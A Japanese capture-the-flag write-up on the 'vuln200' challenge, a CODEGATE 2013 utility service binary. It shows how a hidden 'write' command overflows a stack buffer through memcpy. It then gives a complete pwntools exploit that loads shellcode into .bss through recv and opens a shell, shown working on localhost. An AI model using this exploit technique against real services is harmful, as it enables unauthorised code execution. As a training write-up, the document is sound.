pwnlist baby vuln200
下調べ
mattun-mart@4ctf:~/pwn/baby/vuln200$ file vuln200 | sed -e "s/,/\n/g" vuln200: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked (uses shared libs) for GNU/Linux 2.6.24 BuildID[sha1]=b0adbe78fb249940c782b5118d9bf3f06328a22f stripped
mattun-mart@4ctf:~/pwn/baby/vuln200$ checksec.sh --file vuln200 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH vuln200
NXやSSPが無効.これもどっかにシェルコード積んでやればよさそう.
ubuntu14.04 64bitで動かしてます.
解析
straceで動かすとポート7777で待ち受けていことがわかる.あと/logs/pwn2logが開けなくて落ちてるので作ってやる.
以下はstraceの一部.
open("./logs/pwn2log", O_WRONLY|O_CREAT|O_APPEND, 0666) = -1 ENOENT (No such file or directory) --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x46} --- +++ killed by SIGSEGV +++ Segmentation fault
んで接続してみるとCODEGATE 2013 Util serviceが待ってる.
表示されるメニューの文字を入力すると書く方式で入力値を変換してくれる.
mattun-mart@4ctf:~/pwn/baby/vuln200$ nc localhost 7777 CODEGATE 2013 Util service! [*] md5 [*] help [*] base64 encode [*] base64 decode [*] quit
大量の文字を送ってみたりといろいろ遊んでみるも特にバグらしいものが見当たらない.
しいて言うならば,継続して同じ変換を行う際に前回の入力内容より短い文字を送ると前回の入力内容が残ったまま変換されるので正しく変換できてないことぐらい.
ってことでバイナリを解析していく.
デバッガ起動するとデバッガを検知したというメッセージが表示されるが,メッセージが表示されるだけなので問題ない.
解析していくと次のような流れで動作していた.
- 入力された内容を受け取る
- 受け取った文字列がメニューの内容と一致するかチェック
- 一致したら各変換処理へ移行.間違っていたら再度メニュー表示
- 変換したい値を受け取り,変換後の値を表示.
- キーボードから何か入力されるとメニュー画面を表示.1に戻る.
入力文字数は制限されていてスタック領域を破壊するなどの問題はなさそうだった.
んで,どこに問題があるかというと,隠しメニューwrite.
以下のように,メニューで受け取った文字列(hoge)とwriteを比較していた.
[----------------------------------registers-----------------------------------] EAX: 0x8049c3a ("write") EBX: 0xffffce9c --> 0x0 ECX: 0x5 EDX: 0xffffcfa0 ("hoge\n") ESI: 0xffffcfa0 ("hoge\n") EDI: 0x8049c3a ("write") EBP: 0xffffcf88 --> 0xffffd178 --> 0x0 ESP: 0xffffcb70 --> 0x0 EIP: 0x804901f (repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]) EFLAGS: 0x200286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8049016: mov ecx,0x5 0x804901b: mov esi,edx 0x804901d: mov edi,eax => 0x804901f: repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi] 0x8049021: seta dl 0x8049024: setb al 0x8049027: mov ecx,edx 0x8049029: sub cl,al
バイナリを追っていくとどうやらwriteはメニューで入力したwrite以降の文字列(以下の例ではhogeshi)を別のスタック領域にコピーするようだ.
このときwrite処理前後のコピー先スタック領域のダンプ結果dump.txtをカレントディレクトリに生成してる.
[*] md5 [*] base64 encode [*] base64 decode [*] help [*] quit writehogeshi write running Copying bytes DONE Return to the main
[----------------------------------registers-----------------------------------] EAX: 0xffffce9c --> 0x0 EBX: 0xffffce9c --> 0x0 ECX: 0x9 ('\t') EDX: 0xffffcfa5 (" hogeshi\n") ESI: 0xffffcfa5 (" hogeshi\n") EDI: 0x8049c3f --> 0x46454200 ('') EBP: 0xffffcf88 --> 0xffffd178 --> 0x0 ESP: 0xffffcb70 --> 0xffffce9c --> 0x0 EIP: 0x8049088 (call 0x8048810 <memcpy@plt>) EFLAGS: 0x200206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804907d: mov DWORD PTR [esp+0x8],ecx 0x8049081: mov DWORD PTR [esp+0x4],edx 0x8049085: mov DWORD PTR [esp],eax => 0x8049088: call 0x8048810 <memcpy@plt> 0x804908d: lea eax,[ebp-0xec] 0x8049093: mov DWORD PTR [esp+0x4],eax 0x8049097: mov DWORD PTR [esp],0x8049c63 0x804909e: call 0x80493b1 Guessed arguments: arg[0]: 0xffffce9c --> 0x0 # 4つ前の命令lea eax,[ebp-0xec]で指定 arg[1]: 0xffffcfa5 (" hogeshi\n") arg[2]: 0x9 ('\t')
まぁこの処理コピー先の領域の大きさなんて考えていないのでmemcpyで確保したスタック領域を破壊できる.
具体的にはスタックは下図のようになっているので0xEC+4文字以上入力するとEIPを書き換えることができる.
Exploit
EIP奪えたので後は好き勝手やるだけ.
今回はNXが無効なので,どっかにシェルコード積んでシェルを起動する.
スタックのアドレスはリークできそうにもないので.bss領域にシェルコードを乗せてやることにする.
.bss領域への書き込みはrecv関数で行う.
ってことでExploitコード.
.bss領域のアドレスはreadelfコマンドで調べた.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * import struct host = 'localhost' port = 7777 conn = remote(host, port) bss_addr = 0x804b0a0 elf = ELF('./vuln200') recv_plt_addr = elf.plt['recv'] shellcode = asm(shellcraft.dupsh(4)) shellcode += asm(shellcraft.sh()) ret_addr = p32(recv_plt_addr) + p32(bss_addr) + p32(4) + p32(bss_addr) + p32(len(shellcode)) + p32(0) payload = "write" payload += "A" * 240 payload += ret_addr payload += "\n" conn.send(payload) conn.recv() conn.send(shellcode) conn.interactive()
結果
mattun-mart@4ctf:~/pwn/baby/vuln200$ python exploit.py [+] Opening connection to localhost on port 7777: Done [*] '/home/mattun-mart/pwn/baby/vuln200/vuln200' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [*] Switching to interactive mode $ ls dump dump.txt exploit.py logs peda-session-vuln200.txt vuln200
vuln100のほうが難しかった気がする.
解析さえちゃんとできれば割とすぐ解ける.